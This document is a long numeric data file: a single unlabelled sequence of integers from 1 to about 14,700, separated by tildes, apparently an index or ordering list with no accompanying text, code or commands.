5152~8559~5467~930~5981~3388~14407~11333~7709~8546~4484~10710~6560~13791~5295~4896~9105~4557~7814~1134~13527~12154~10440~13505~14656~1573~900~3998~5049~5594~8158~9752~7025~12889~6680~14414~6255~14078~8985~12015~1762~3002~5414~7022~1102~8605~2699~12844~4654~3673~1159~3646~5960~6764~13823~9181~13224~13723~11165~6081~13444~5825~7366~7174~1116~10486~12342~7266~13920~5117~6034~63~7564~7531~11106~1966~8053~7508~11798~7060~11188~8833~12725~4141~1113~4843~10570~12557~11062~8275~11866~8523~5110~2390~10624~10720~8548~13941~2663~3453~12108~395~2029~4178~12781~4035~304~7394~5639~9920~12348~8375~3128~2551~10617~902~1164~2914~12234~1986~12637~1485~11759~3891~261~13643~1536~2637~7271~6371~11403~8454~3745~2947~2481~3751~1472~342~7212~7975~6044~7533~11488~6978~11047~9295~3162~4924~13129~13267~12830~11028~12914~13990~2659~7583~8645~7161~10260~7832~9140~4337~12453~9330~8717~12422~5774~14547~7689~6421~7322~740~6633~13824~2636~10352~4020~9625~1832~14674~13064~13279~790~14434~12248~11885~3645~1724~11826~3392~6335~8075~6109~12233~9715~229~5966~7883~7488~2122~10591~7391~12726~9963~2069~5509~4135~3837~12392~3235~5264~11814~10345~13125~14202~671~8453~8001~5531~10698~13810~11399~5311~5036~5322~4696~12566~11415~5364~2448~7327~7546~7752~11773~5292~4514~11036~5029~10641~1241~3196~10350~12251~10224~13766~12180~14240~4820~10801~6624~7973~8369~5980~8183~3992~6951~6864~14392~984~9069~999~2465~14064~10124~14689~5967~8270~1891~7152~10133~9117~6873~9894~13242~7331~14100~6197~8611~3163~10137~7~1089~1448~2715~4108~11101~8101~13584~13934~5998~4250~7069~2456~9511~7754~13039~2758~4054~1655~13421~9518~5149~162~2642~8976~3850~5754~9611~14031~1298~11713~94~9819~2426~3685~14688~9366~1754~2617~3530~4980~7666~10331~6711~4846~1158~328~13023~3976~14484~4862~767~4860~1591~11114~14010~6003~6677~4996~11464~2867~13572~11310~3139~512~10020~10005~5736~9921~4517~9998~6372~12036~8918~6746~10952~5575~9519~310~14558~8789~2354~3690~7675~5052~4664~7987~11624~5294~14447~10771~5451~13989~9095~7295~3852~1756~9825~5891~5633~12817~8823~7214~2997~9437~13867~4983~14219~9852~2743~7336~5266~9198~11854~553~11550~8998~5673~14561~10995~7912~875~6398~4197~12319~4185~13975~11890~8962~7645~8902~3222~11260~7208~13174~13352~810~8435~1732~2632~3729~14381~7988~8553~3093~8547~6039~399~2979~4340~8178~5524~6638~8333~13978~1775~3040~12349~14600~13311~594~6192~6568~9075~5251~13655~7848~13986~13801~4357~9621~7801~4580~14734~8529~10887~841~2861~11662~14488~4137~7703~5942~11018~4109~5952~8906~13409~12507~10704~8150~14256~10002~7803~7847~5206~2315~5845~7408~10480~3318~1393~9490~12169~11296~9192~2734~10187~13873~14564~2919~12930~8600~3625~11835~265~7900~13452~11585~1975~14435~9693~7995~9943~6704~7477~14091~4320~3880~10028~351~1933~2056~3304~11491~14266~6364~5353~9495~10618~5173~14036~13793~6275~9461~6369~9370~4923~9644~12197~6349~13439~12414~4381~1197~3659~12970~12309~11279~13696~13326~14483~14469~6981~4296~4960~5332~5506~12312~6584~11379~11417~167~6308~11675~9706~10937~14538~3208~7463~5385~2868~13922~2165~10845~12172~10628~2240~10827~9736~9333~11212~4562~10219~8461~3806~12217~149~2364~243~5961~9311~393~3272~13630~7696~248~11042~9578~8681~4302~7874~5828~6871~3748~13738~703~8860~4204~12965~13988~4354~7128~6013~4029~4895~12593~8012~1861~807~1391~10066~12530~9795~11072~7770~5527~9090~6426~12365~9281~13776~6791~8107~11121~10177~14480~559~5208~11024~8885~4775~13608~4716~1795~13939~464~8137~7946~3195~6060~2690~269~6980~2422~1146~11055~12213~382~239~801~6328~8303~4369~5567~9997~8544~994~102~7680~3113~14243~4640~11147~5393~1101~14081~3726~5465~3148~1125~8759~6867~4502~2664~1431~14062~12499~8202~5157~2245~6552~8209~13160~9168~11375~5170~2615~3815~3573~12636~4163~3141~3749~13416~7505~10174~4295~5039~2281~4103~1903~5464~2119~1201~10759~2785~1512~11968~10810~14458~10055~14160~12450~2185~13797~1981~10561~13582~6795~1658~2250~591~11089~1734~8464~13303~12211~8403~319~4537~2661~13487~859~5017~14687~10931~12332~5196~9596~14379~9918~663~10044~12037~14382~6695~11349~14171~14486~10844~1291~4443~3502~5603~2702~4914~2918~8779~11317~898~12410~698~10309~8133~3231~6947~11940~9728~4951~10119~2806~12814~9890~11970~4501~7062~2561~4571~8901~6291~203~6375~11261~2366~13261~6863~3316~12316~9103~11517~11843~8983~3460~8945~14006~5107~11597~10436~10856~4534~14528~9052~10526~9285~9253~13935~10878~12567~2969~6500~8180~7513~13863~3032~13701~641~4300~3110~9190~13691~5308~3261~10792~2537~2467~6061~2098~12436~5604~3812~3991~12942~7809~7656~11416~8325~12066~6999~7627~13457~4890~13799~12119~6431~499~13417~1024~3305~6657~7175~1970~14559~12504~2066~5660~11918~5948~3888~13498~4836~6079~13712~14002~8669~10613~11181~6185~2048~5400~6810~13637~12995~11710~10870~11066~4570~5932~7120~8503~3802~516~5680~6168~5801~9942~13215~13817~4427~8505~5484~13707~8909~11328~4043~4025~12519~11198~9373~6754~10482~7325~5190~2480~371~9616~4452~9803~8033~418~7307~11346~9290~9583~4523~8051~383~9824~10915~8317~774~12452~12344~9279~6296~98~9062~336~10943~10968~5956~7691~12684~4172~10674~2495~9445~6735~6721~8370~7942~14350~11430~5089~7379~2714~9025~2962~6698~4223~7969~13878~1761~11607~9771~5750~9216~8721~11901~20~3565~8024~10772~1027~7654~8110~1074~5775~12467~3329~292~13521~14579~2348~6781~3950~7916~13198~3248~3122~602~13661~31~11804~4007~4392~4893~6221~10418~10051~9555~3497~3458~6612~4977~9923~1387~1538~2373~9372~1294~13073~5636~759~13357~13082~9469~4350~10485~9954~8598~8277~12638~1052~7705~7358~2402~13136~12260~10029~10062~11445~2068~6058~943~4435~11679~11680~1098~5406~9097~11219~13422~1606~9482~6972~11029~2672~2358~1693~8979~10155~1765~12712~3741~145~8769~6881~12491~7205~7913~11325~11553~5013~7277~4553~11648~14073~11341~1018~2597~12382~11159~10701~8250~6490~4586~6186~14761~5383~3469~3953~9670~4303~133~8744~6961~4766~11329~13544~8907~14389~11246~8756~1153~7664~4304~13807~3543~3211~3106~7687~9735~13684~3476~1572~2007~12231~14481~10156~7727~1176~1399~9882~9842~9523~7714~4212~7311~2539~8621~11697~7036~14322~5597~14030~14188~4897~10963~12242~10882~8067~5175~2118~8266~7544~5586~14543~5377~9131~6315~10339~2795~12454~5733~10465~14230~114~9772~13966~8469~13050~1746~6411~10476~1154~12643~210~11019~4052~8908~7263~4886~14590~8618~13654~2306~4500~5219~9425~14365~993~2035~6281~7281~5874~12337~3432~13334~10227~14122~1828~10291~154~1194~12402~12575~2374~6125~9378~4817~490~4511~6718~2512~12721~12480~863~8819~14110~10729~6247~8154~7070~10627~10811~11046~5807~14459~14362~14584~9033~4656~12692~7428~8285~589~11530~8072~692~4715~1428~9612~4953~6550~10881~12928~4253~12063~14299~5562~10071~4700~12655~5282~285~1517~5176~10807~3776~9494~8572~378~12831~10083~7413~323~6935~8388~9493~1541~10757~6228~8654~9055~14607~9133~5197~1578~9399~3370~14249~5432~11359~1077~6524~13538~7160~4626~14592~701~10769~9247~12266~12587~12932~4863~14066~8140~5962~13435~8268~1781~4635~7843~4114~2158~2879~4194~6807~3143~10765~10904~446~2150~6077~12167~10009~10391~10321~1099~11221~12493~2657~8068~14282~3927~10335~5666~12570~9589~10383~2864~6302~7251~10714~7663~1184~3253~4149~5581~1643~12441~1083~4965~5167~13565~2290~3602~3486~13525~5437~3887~3232~5612~637~6915~6438~12901~9382~9068~3974~8632~4036~8713~13916~2508~5178~6006~13980~10033~973~5016~1348~2489~3033~10108~1363~2340~8239~4677~12610~12745~1140~12846~289~4529~8504~12158~4206~10494~507~14391~12053~2212~1741~9689~625~5609~1827~2002~14664~5224~10707~13598~8604~4906~10563~10376~14396~1753~3381~8991~1133~6767~13338~14349~11410~13728~3254~11945~763~8725~8479~3424~4235~11533~5135~13749~8924~1852~1943~13594~4034~6043~14242~9559~14272~11886~4998~14200~7291~2522~7183~4522~1321~4285~13374~3041~5602~8124~9166~5677~7467~14575~12522~10897~10041~8099~5721~12025~14660~11500~3334~9010~13763~11143~4157~4604~10895~9118~13578~13998~3954~1279~2180~9230~9696~14285~4950~9959~545~4559~8115~4938~7799~7304~1066~3028~14042~5790~13489~12876~9119~1874~436~7921~4889~12688~3468~3043~5027~1516~10598~7424~6716~8567~887~10411~6236~7541~14253~2307~7765~11045~4360~7737~10278~9642~1419~4077~6589~14250~6990~13599~3924~1796~10434~9053~5009~11134~8623~7033~10268~12621~14371~3055~8516~219~11787~5243~7807~7511~14214~10509~11082~12165~5412~13319~2856~7816~14190~8617~5623~4736~635~12498~9815~815~8106~11478~12754~8121~2059~6949~4925~8770~12229~6284~1617~7225~1521~539~14677~12034~3048~6738~1779~2899~11103~3775~1498~9328~699~4735~8966~6933~11330~12082~4081~165~8088~7854~4800~11418~12068~4317~4962~2573~1379~11180~389~2726~12903~5488~14498~9008~36~7725~896~9956~6712~9947~11568~880~8390~9847~5815~5319~1877~11513~4556~3333~2574~6713~14610~11726~3651~7459~10129~4825~3237~9453~5154~5041~8284~7593~14681~9648~2593~712~197~12538~6847~12485~566~10748~223~5708~7401~13775~2406~2387~14588~4165~4710~10292~7944~1082~2716~14618~9641~198~1926~4565~14755~10342~7072~14501~14035~3859~5617~8964~3258~11472~388~13385~13974~7805~8573~1217~2040~8954~6330~12511~457~4885~9174~3348~11313~3532~5957~14455~93~6902~1115~224~1012~10234~6503~12968~892~5092~6962~3931~402~2649~11276~10310~8786~2793~13009~121~7684~11937~10366~2694~3170~12225~5580~3356~7111~9076~12537~3220~11057~10799~11617~2438~104~6776~4544~9057~13308~5290~3291~8927~7097~1215~11234~7280~5200~7683~3541~10395~5047~822~2821~905~9321~7915~7753~2691~890~2606~9020~14164~3579~1325~2722~5044~3144~9986~12447~11815~8144~14321~9227~4961~1330~10569~9074~7332~2809~14274~9049~8485~510~9107~6783~13820~137~8045~14178~11735~3000~497~14570~11408~4010~5303~3310~851~7570~13516~6883~9550~658~14608~10602~14705~9478~12241~7733~3881~3970~13585~3584~3409~7004~8518~2514~9664~5875~14071~12656~614~14545~2081~3961~6558~8743~14753~868~4348~12509~14439~1072~8868~6309~6139~14611~10233~6181~14671~1180~7415~3723~11723~2256~9318~527~9422~6356~9085~9240~8784~10088~1507~2515~13395~8171~2559~6216~10505~7858~2215~9035~2413~6329~8447~3689~1452~11189~14072~6921~3224~14104~2875~8687~12138~7430~13792~5926~7651~3095~2923~3688~11845~11631~4266~1404~8028~5271~12666~10533~10732~11170~10173~520~7901~11485~12253~4874~3407~8426~8090~471~11289~9563~6010~1890~9100~2034~11096~9275~9506~10441~12677~10700~3165~14208~10212~13271~746~1737~3794~12818~13203~2080~9148~3362~12933~7133~1238~4504~475~4627~8740~3197~7649~1252~2351~14293~10370~12631~4272~139~477~7840~13412~7486~12546~13596~6523~9564~3830~6820~10032~10685~5534~5404~3997~10479~11646~14276~10848~5945~14060~8722~13606~13430~13949~13195~12796~1079~12075~1147~10017~3598~8615~802~9798~3499~11069~1763~9793~5993~3948~4734~1293~12207~10442~9200~8489~12330~1911~14429~8982~13664~9928~4976~3206~8526~1211~7315~6948~7065~5893~11458~12866~10130~8558~1731~12383~13361~6180~1488~2156~14410~3768~4774~5727~12107~7387~9548~8288~12275~13004~12916~7473~2963~13492~6072~35~596~14512~9344~10141~8539~11851~2878~541~1248~5829~377~5865~10780~6346~599~13959~10634~11003~13486~14074~10027~7185~1712~8043~6253~12966~4307~9900~4809~462~12351~1092~4697~12682~12921~1421~1524~8963~4582~4542~234~14397~2046~6066~12406~10185~9259~3437~12839~9046~13891~8064~5761~6278~9562~428~11572~5147~1240~11164~1614~8640~13194~14352~12327~11110~14527~2907~1422~4995~8168~9172~2170~10415~2627~10677~13569~10215~4394~12263~2368~9363~7831~8200~9606~12356~1954~3870~2782~6022~6083~13800~7220~924~3050~6048~11661~52~496~10666~14493~3786~10874~1442~2216~1004~6366~8114~9503~4930~2303~5995~7507~7495~10384~1033~1733~11508~14577~7764~11717~4151~8191~5169~3270~8939~8812~9620~6201~10161~4038~12969~7383~12722~5234~88~873~4850~1251~13307~2398~13708~12559~1989~4876~9823~1007~9851~785~6259~3233~8891~8286~7855~12031~2356~11725~86~7930~13758~4286~876~7819~5070~14757~5595~5441~13896~6728~9859~981~6117~4031~1957~4208~12067~1156~14354~1895~12612~11892~8765~10694~5668~10134~5438~936~10164~6845~9457~12991~3660~5535~10953~6114~3793~4387~5081~10947~10163~1433~81~7607~631~5819~1710~8193~10957~3617~13981~9884~8865~12767~3718~2473~3302~5778~837~11755~10452~7197~13223~6714~2595~2053~14096~10661~7481~13607~12449~11265~11971~615~7342~7682~6001~12114~5768~737~7594~2477~10409~1443~12290~13947~5388~10042~355~4790~7286~13871~6136~9316~9028~6021~12729~12042~7426~7431~5728~11315~10928~7960~2754~3299~11912~478~4727~9933~13084~8968~8852~8210~8010~95~13110~9769~6525~1603~5738~11543~12520~5007~14675~5024~1233~865~5477~2234~11496~14700~4731~4110~11635~9102~5882~14663~3207~6187~9704~12719~11613~5018~6890~2347~5928~13636~2232~2790~9914~792~6609~9570~607~12190~12070~13080~5832~8014~2794~4548~8342~3201~5676~3655~6382~4331~8314~6788~12540~14075~2184~13955~4738~9995~4603~1725~11116~6913~2891~14131~6160~12184~9067~1695~9141~12826~403~9207~6689~6206~11963~2892~6063~12185~2251~14685~12917~4845~10616~798~13122~5674~1382~4456~3987~9204~12136~11227~4336~8541~2640~2064~13273~11544~9528~7300~4127~1627~5064~9358~5381~11935~4941~9512~14465~13179~821~12515~4342~2869~5840~3090~6957~439~5551~14530~9083~1209~4474~14315~8319~6442~10730~8057~828~2831~14652~12122~7871~3425~12254~6222~7868~6413~11133~6164~13693~12104~14403~2682~10652~12571~5155~5834~288~3408~4791~10670~12703~11733~2859~1708~6111~12295~10085~12426~12748~7078~3867~9086~5742~9712~82~10805~6244~5379~7536~10511~11588~4659~10926~2051~12302~9556~5321~10082~1117~10577~6341~12653~12409~12981~11846~4198~4274~8219~5182~8894~14423~5702~3300~13875~9210~9261~4742~5552~786~14742~472~71~11423~308~4432~9015~13888~6350~4605~14090~1479~1579~2305~9617~5172~8151~4619~11452~13930~9958~4234~13491~11602~1496~8591~970~13829~13808~10305~3012~4363~8668~4613~4660~8019~96~4645~9622~1639~10361~11065~1584~13474~7853~10595~5391~5460~14268~955~7349~10299~885~2487~871~4293~11136~7978~13297~8457~8418~2475~2971~2453~9037~13153~8847~7820~7180~964~14648~11011~8552~9034~13942~7523~7578~7972~9368~10311~5277~11451~9925~4870~3472~1318~2151~8592~9999~3365~5069~5430~13877~12869~6702~2128~2444~11880~13500~10816~8915~11016~10537~1663~4049~12125~4841~9796~8776~13832~10427~469~13842~10770~556~11984~11426~13534~11439~6648~2533~1564~2569~13508~3643~5259~7191~11537~6846~9732~8187~11811~2249~8259~10749~5313~11334~4568~6726~7230~10684~7643~4943~14114~1919~11479~6898~14211~8700~6024~500~4220~3843~11013~3654~1864~1329~2704~4205~11546~6554~2557~10855~1162~5739~6822~682~14358~12500~9278~5997~2501~13302~9602~11756~12912~13678~4104~11476~9743~11677~9733~3550~5881~502~8408~14367~14257~7932~10922~3580~4461~8619~13625~10368~2503~398~5814~5682~8304~5610~8264~11448~1295~12931~11688~2047~5298~3789~9047~14327~4033~8977~618~11031~10918~6420~8294~5624~5695~9869~6327~14555~12183~4406~14719~4701~10246~1939~8588~13561~8638~4132~908~3855~9151~12774~501~200~10682~10705~840~3922~9084~3568~2911~11676~12035~5991~10744~7041~7275~8965~13348~11598~9773~4362~4578~179~9124~8494~5839~1344~3221~7207~14503~5079~10489~3902~9966~7005~12196~5539~4705~5475~10601~14037~5977~4271~6894~4090~8916~11012~2183~13343~6688~12416~7545~9544~11223~7902~14697~1793~6694~8953~4803~8844~8429~3955~2472~12827~6761~8493~10695~11636~8783~178~4138~7690~347~13367~2497~528~4782~12021~10221~7054~9111~2933~5627~7350~5054~8267~8693~5899~14089~206~5448~6940~4330~13557~992~12893~534~1704~13283~6907~3479~5565~5873~4409~42~13566~13724~1713~6706~9317~9857~4685~5146~1984~11644~5723~13575~8395~3638~11849~8145~9626~1255~9777~9007~9668~10231~9499~11009~10407~13482~8328~14602~8243~13937~7169~14222~3052~6592~6594~14295~12375~6108~8242~5724~11444~4482~4251~2199~5127~10503~6922~3669~9045~9665~14275~3255~6432~1833~2651~8477~7997~10024~1952~7122~1913~10264~4704~7000~3619~12680~7580~7720~3587~603~3995~12710~3918~1148~6724~3073~2197~6489~5974~13993~6796~9746~2730~4161~10039~12081~13418~14304~2863~6553~4752~449~10248~14325~2137~6482~14238~7647~6678~8861~653~913~10122~12902~10191~578~1691~1210~3505~6986~11782~7159~10346~3609~12641~10572~5050~5108~12150~10363~1265~2135~10822~6800~4688~4327~12029~6925~4972~1662~12547~13058~806~4485~12133~2084~12380~3420~11497~6572~5578~8698~13235~13963~9003~13957~6660~13118~7501~4527~13250~12346~108~1272~4648~7967~5826~4126~2917~4649~5217~3101~3600~11192~10603~8164~1029~8682~13574~9424~9945~8109~8928~12599~14370~10944~10885~11965~13813~7836~6971~386~3313~12129~10241~7192~6591~12674~2580~9913~5275~974~12062~9412~9157~11995~6219~8733~2163~11202~12478~684~3395~2015~8889~2189~14026~6852~12143~6934~3819~13528~10281~3293~3601~12187~9713~14542~7292~6520~11990~9989~2486~14097~7316~13132~10428~10256~13092~10367~11772~7940~2621~5855~6603~11182~6226~6555~1427~6045~1222~3278~13165~12984~1354~3973~7766~9024~13616~4902~468~7127~233~14053~4046~4193~6623~1114~2090~11409~6156~2852~12555~12957~5968~724~6561~5735~5770~6028~9645~10817~14433~4216~293~6595~3847~6644~5889~6146~8423~6200~6446~484~241~10659~4856~5712~8195~6976~9466~7547~1782~2279~911~14172~9418~953~3345~12486~13711~152~2586~6177~3309~9324~13378~2669~1259~8357~10079~1605~11431~11673~5935~14532~1109~8575~1868~10316~1458~5520~7811~13015~2140~739~8676~2633~8439~10615~6731~3853~1173~12669~11959~10262~13642~4631~7604~5232~4909~5717~3264~2311~3067~8087~4583~4918~4702~5103~5144~10745~14161~3406~4646~13232~805~8817~13436~8754~14515~5615~13210~7618~6614~14539~3785~8716~13172~13681~3477~5288~13870~12368~13059~456~10681~11687~7167~14732~9968~10543~13773~11303~11282~513~8213~13366~4919~1540~14212~10839~3964~6087~2191~7658~5652~3844~405~13230~9273~2739~12098~7395~1412~9977~11828~2463~5350~14292~14749~2605~11871~10413~6780~13074~14609~13087~6982~10381~7958~14614~400~2259~11318~9618~1684~4567~12908~5584~9048~1376~3561~3463~13420~6995~782~1444~10131~9350~12652~2973~11592~11239~656~10911~9106~4479~2609~1343~1450~3626~1103~7224~4224~6486~2372~5658~1863~4985~6351~12272~6833~6468~2692~5247~14018~119~11044~874~11548~4379~8234~10754~9415~6643~5046~8931~12761~6232~10649~13239~8434~12090~929~7237~823~4156~6723~12451~4133~4439~11665~6268~11980~8030~11450~2530~13706~10983~9411~6380~11873~6169~10739~6937~12168~7434~1~8049~2639~10785~14657~12651~11911~14504~13520~12772~2423~3283~1230~2750~11339~8350~6662~5802~13313~14121~13353~2363~4353~7616~13809~6182~1094~10629~11573~12871~2807~11179~61~6115~10545~9257~2155~8515~13750~181~13293~12687~12160~6118~12560~705~13369~3401~6194~8098~2269~2894~13645~11226~6941~11314~7626~2674~13650~2746~11731~12345~13045~13401~11214~8585~7165~10528~13001~2668~13199~13044~3001~4371~9935~4520~1341~11420~4263~5711~12016~11168~788~3967~11321~11154~3123~1218~1626~2999~14087~6772~2157~10038~2~12996~8597~10399~11015~6888~2257~10126~1121~11358~9263~2478~5508~12605~3398~12156~4284~5246~4844~13573~3018~10773~2018~10250~9021~7517~8130~10237~2662~6189~640~4761~1243~9985~5428~6062~5919~254~517~9932~7639~8211~12311~4429~11073~3531~5250~10581~10614~13835~9467~1802~215~12698~6175~8509~159~13663~3435~1983~6768~3907~3399~10433~10935~3796~1017~2208~10138~526~10664~8557~9291~8466~12460~8702~14523~7285~12118~10116~4842~9014~3359~10970~3179~5075~12616~13951~5216~14151~935~1872~505~6352~2725~163~4530~9906~3966~12019~348~390~5005~12028~360~10919~83~1701~13840~3926~9283~13825~6889~4062~14345~6342~10306~10622~7233~2203~13617~8230~14028~12582~4905~6424~12404~3451~8470~13552~9041~8073~8216~11514~9571~11183~6661~998~8189~11442~1050~7049~2900~9365~6188~8807~2803~11944~14415~1508~7242~6401~3791~7396~1960~879~6130~8996~1909~11856~604~3450~5181~6172~3949~3203~2207~10303~12370~13472~5280~11877~8017~10564~14562~9203~7462~9941~2132~3929~186~587~12690~14283~9064~4168~5657~2389~1601~7810~4451~6529~2581~13515~3862~13321~10349~5901~10084~11376~572~1915~7077~11371~14546~5885~2330~11736~375~10833~11813~4712~4748~1236~9428~6393~10455~6455~11830~5598~13729~1920~6859~8351~6513~9792~13010~4987~4713~1618~13141~12569~12536~8280~8805~7905~13765~8863~14378~14014~9433~11938~5541~8636~11908~2417~7162~13739~9582~5897~12856~5979~305~12533~7565~1873~7550~9922~10048~6376~14260~4023~9228~1885~9686~12812~8300~8741~5982~8917~4957~236~11356~7585~4297~5844~7149~3674~391~4083~12341~10825~12526~13904~2944~14255~14375~6964~12588~4261~11086~3159~9130~10697~2873~5994~8348~10355~12320~11660~5042~14052~11035~9145~9197~14192~9725~7006~8760~5804~1381~7135~7802~12397~5098~11764~4129~14684~6318~13997~2096~12886~2563~5028~10951~13742~1396~11461~11085~12833~4145~2000~5281~5372~3667~2744~2983~1845~4838~1011~5522~5548~2554~3379~3520~1362~10929~12429~173~8542~3116~6684~8892~11486~2126~4416~9723~7260~2287~2757~13886~10118~12955~11952~5544~8519~488~10731~1707~13618~13067~4107~11749~3746~11689~13289~14636~6170~1150~9536~13294~4162~13399~1908~9515~13900~9146~9238~6666~5419~12696~7726~7460~8450~4867~4414~489~10140~9573~9185~12470~8445~9627~2600~11489~12170~7991~4839~7234~12020~9306~2877~1749~14105~2010~11320~5104~14476~7067~12986~2585~100~9127~8971~9042~6720~9543~11257~2763~14695~5476~12590~3046~9284~14186~5706~3112~11297~4370~6987~12806~9340~1060~7218~3875~4574~10513~1322~7600~4086~3968~847~5747~4247~8119~8930~12058~3544~2641~2313~11077~2432~4722~9180~536~6705~1216~6053~3200~10551~3275~5312~8975~7009~7377~11860~5861~7250~12879~12658~14457~5493~7931~9565~6840~7992~1632~1276~4594~14554~6025~9431~5868~9243~8363~13672~5230~799~7476~13396~6744~2681~13094~8820~13252~14154~10307~11146~5498~11404~4913~11323~1937~7403~5797~1826~8887~9114~7138~4558~1887~7328~1244~977~1425~839~8587~4609~3464~14487~11590~3391~3611~1849~1956~4431~12799~196~9241~7171~2131~6920~4345~2154~3219~4243~2291~7884~11730~14108~11070~3822~2781~7223~12964~5187~8060~13669~3800~7606~685~6492~12484~11659~12873~8241~1327~9590~8884~2101~1377~5694~4075~1901~5720~3808~12937~9169~10680~2851~2044~1311~751~8830~6412~12315~13065~13597~9423~2308~11864~278~6674~13005~12896~3841~3529~12134~12322~12514~3185~1669~12465~10913~13798~962~4260~11505~12227~10979~8039~3610~1168~4854~6769~8536~11238~8432~12487~12780~3917~12858~11~9302~1547~11100~12292~11124~1064~5455~3471~5318~11641~11178~10365~8803~9429~3582~5037~7835~12739~9138~523~2466~8514~13580~3049~9976~13114~3288~13982~7187~814~779~9980~4441~11745~3069~1553~13053~4421~1642~893~2139~2936~5841~3755~479~11413~7741~14169~925~10128~2505~8054~8246~4718~14644~14743~12634~5051~5665~2519~11038~7724~7722~9206~2429~7053~10074~4667~9561~7252~2945~1406~7297~5718~11896~1073~956~10152~9080~13983~912~5794~10743~5413~4190~143~605~14136~1985~11595~14270~616~2345~11161~10502~358~51~3664~9455~11895~2952~8415~4639~5025~11267~13147~7791~1923~4668~298~6085~2229~648~7471~5996~8637~14176~1021~4240~14736~9812~4751~12950~11402~8155~14165~437~13130~5204~11140~4796~10879~9460~13048~10864~13783~12494~27~13322~13054~2439~4412~5203~3979~14185~3250~2887~2050~4689~14627~1906~608~10718~14003~9205~8308~14098~10938~5209~12512~9983~13819~4547~11703~8874~2896~2521~9489~1058~7357~3439~1651~4041~6729~12811~8534~10324~6637~11712~7679~13615~9705~8763~10101~10781~10109~13389~12576~6580~7115~13638~14340~7098~3941~14767~4927~10610~11304~13954~7244~3707~6916~14273~2931~7619~14428~10600~9756~5898~1256~6487~470~11523~1883~14733~1015~175~2660~14093~10492~13373~14204~945~8910~7904~7051~12071~9979~8456~2194~13686~14277~12411~18~12778~1595~12115~3125~14534~2425~1596~5129~2812~11292~6510~4915~14693~689~6792~2772~11263~4408~4599~2104~11977~2884~10961~7778~1494~2978~13371~3400~8061~4792~4405~10586~9058~8029~5789~661~8143~12583~9108~6454~9781~2958~4572~11974~8345~811~1853~8396~8301~1525~1947~5833~5124~5077~11387~10927~6851~8712~6254~14058~4475~10298~5096~213~11857~983~14017~12552~3426~1838~2344~3205~1030~14107~13601~11790~8926~11795~2989~12502~1045~5589~5270~3897~1314~4239~1284~9134~13938~12483~13748~10508~11991~10057~8159~14050~12528~4797~3005~6909~3908~7015~13787~13754~4763~7771~14177~11462~6166~14328~12093~6600~8055~6631~14633~12439~14690~13135~4944~5558~1856~4963~5222~3320~13831~172~891~8607~14016~5576~11916~13511~7146~4765~5679~3613~16~3030~4814~12997~13386~1759~12376~11608~6441~8232~9125~4590~11564~14612~10834~10145~14519~861~8196~4449~1839~13914~10296~5420~3663~14651~3150~14109~8483~8723~10147~2226~2218~11194~10300~12960~4892~6671~2369~5923~90~2493~830~1546~13464~6673~8525~7172~9297~13626~14213~12613~14019~7857~9188~9866~9619~4744~10998~5252~12647~11874~1917~5857~333~6975~14731~3077~2628~5530~12024~10986~1772~124~7227~14489~13414~10742~8185~2677~12~8424~7911~10171~8343~7665~1875~8709~14395~4992~4265~12466~8251~13859~2276~208~8694~7334~7825~5900~7140~10481~2885~8677~10273~4373~8775~11765~5352~8513~6425~3657~2225~11421~1416~842~9586~14412~722~5707~5984~12563~12265~1202~6887~312~9364~9526~9667~2121~7348~4226~4199~1068~4117~2696~7590~14630~9950~11766~13024~11833~7404~13592~14729~8471~6966~5574~8761~5457~8358~3951~6299~14655~10446~5093~1415~3947~193~12554~9738~8018~7652~5299~12055~10869~10180~4383~12261~10110~1071~14059~9209~4270~3065~12738~4238~6320~1226~11714~387~6358~2099~14289~5877~5540~2904~13517~12870~11907~11803~9480~11883~9593~10980~10651~1118~14252~238~1638~4768~13589~12427~8877~5792~9889~4341~8298~11253~12845~7226~582~5678~11088~1349~10812~2915~818~6511~11367~6036~9831~5145~8048~5909~13025~584~12374~8631~4040~10977~951~7154~13461~9115~13850~13155~8134~6507~11527~1397~6786~12089~3059~9710~408~4503~6214~4017~14508~6762~4074~14613~9250~10229~1510~14333~5878~12421~8263~12218~11619~3713~7740~11001~156~9658~11827~5116~10461~4887~13761~12606~8810~3860~8290~939~14229~13116~13306~1497~647~11767~13688~7746~4597~7385~4470~8766~14298~12428~282~5163~6794~8839~43~11921~2542~3824~14411~14739~11037~5059~12012~4169~12707~4899~13269~14001~8372~9225~6338~5973~14038~4230~13438~707~2247~14525~11910~14712~9089~9967~5366~14494~1038~7834~13713~7750~4027~8773~4102~4100~12795~7525~12147~2003~9677~5109~8318~13076~14551~6110~7464~13479~2951~7576~8226~3355~5396~12461~3487~12424~2201~8105~1423~10954~8521~4061~11561~5748~978~12629~4968~10996~25~13140~12918~6686~1299~8794~14456~8582~11794~12432~8387~8826~5830~7757~10230~12194~8194~3178~8913~11739~7937~7612~1552~14601~11419~191~7631~373~7195~10761~1727~11432~6395~11150~7282~427~5637~4287~7797~13733~2079~13497~3454~1008~4940~12307~7368~4166~13746~1807~7672~8208~8992~13940~5392~14721~1161~7555~1680~4623~9129~5655~6683~14181~1490~1654~13299~11456~10336~1683~7695~969~13627~6133~9533~4861~2598~6856~9266~11976~13240~928~13057~3020~6869~519~8139~8502~13587~13670~12124~11025~11400~7850~5587~3484~13702~144~12809~3699~12489~5086~4794~9745~220~14704~9510~7257~1811~10153~14~11135~14248~13687~4827~9996~12697~10723~7798~6566~12667~13206~8500~5137~3603~4589~742~7867~4519~5328~710~131~267~7502~7678~11075~10058~290~9199~1878~6167~3448~5590~5160~8746~3521~7121~2076~7677~6457~2061~9885~5180~13546~12417~9709~13093~2665~1590~171~7436~12074~3295~17~5972~3743~13028~10347~7355~9651~10675~2634~7668~4939~12219~4273~3117~4423~2239~11933~7704~9837~6602~5189~6652~10439~12821~6436~14746~75~13456~1039~9233~11552~1747~5102~9901~8531~5471~8974~3189~13841~674~8566~9009~13821~8551~2766~8441~7445~1969~1171~9681~10226~11645~2494~10903~9806~8169~1922~645~848~13893~14007~1104~12803~1767~2260~8838~2089~2591~5398~700~10612~7713~3166~452~2601~11897~1721~7808~12543~14332~1405~8919~6675~7499~10546~7592~14635~13697~13244~8237~9280~10123~12059~6541~4343~1307~2930~10863~5667~2176~10096~14678~9407~10966~709~10728~6665~10939~14180~4073~10035~13656~7796~5563~11681~11781~12630~2708~2357~5118~461~10072~9044~8726~6030~8932~2718~1823~12596~10760~5791~1711~4228~843~9438~12391~138~271~12400~6567~6037~3269~694~99~972~14175~11905~14377~12862~6326~8642~8511~9221~6878~7092~8482~4150~6763~11690~1420~1477~8111~6154~12581~5670~7500~2686~14168~8374~6653~10865~1157~262~9288~10859~8346~10888~10289~7255~7518~4757~53